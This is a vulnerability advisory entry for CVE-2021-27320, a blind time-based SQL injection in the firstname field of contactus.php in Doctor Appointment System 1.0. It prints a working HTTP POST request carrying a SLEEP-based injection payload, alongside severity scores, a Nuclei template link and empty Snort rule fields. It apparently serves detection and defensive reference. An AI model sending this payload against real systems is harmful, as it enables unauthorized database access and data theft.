🔙 목록으로 돌아가기

CVE-2021-27320: Doctor Appointment System 1.0 - SQL Injection

TitleDoctor Appointment System 1.0 - SQL Injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.76248
CVE IDCVE-2021-27320
CWE IDCWE-89
Tags time-based-sqli cve2021 cve sqli doctor-appointment-system packetstorm doctor_appointment_system_project vuln

🔍 Vulnerability Description

Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via firstname parameter.

🌐 HTTP Request

POST /contactus.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Connection: close
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

firstname=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&lastname=38FJDTAOogMcge4EhMSchmKpRro&email=38FJDTAOogMcge4EhMSchmKpRro%40test.com&comment=38FJDTAOogMcge4EhMSchmKpRro&submit=Send+Us

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27320.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27320.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A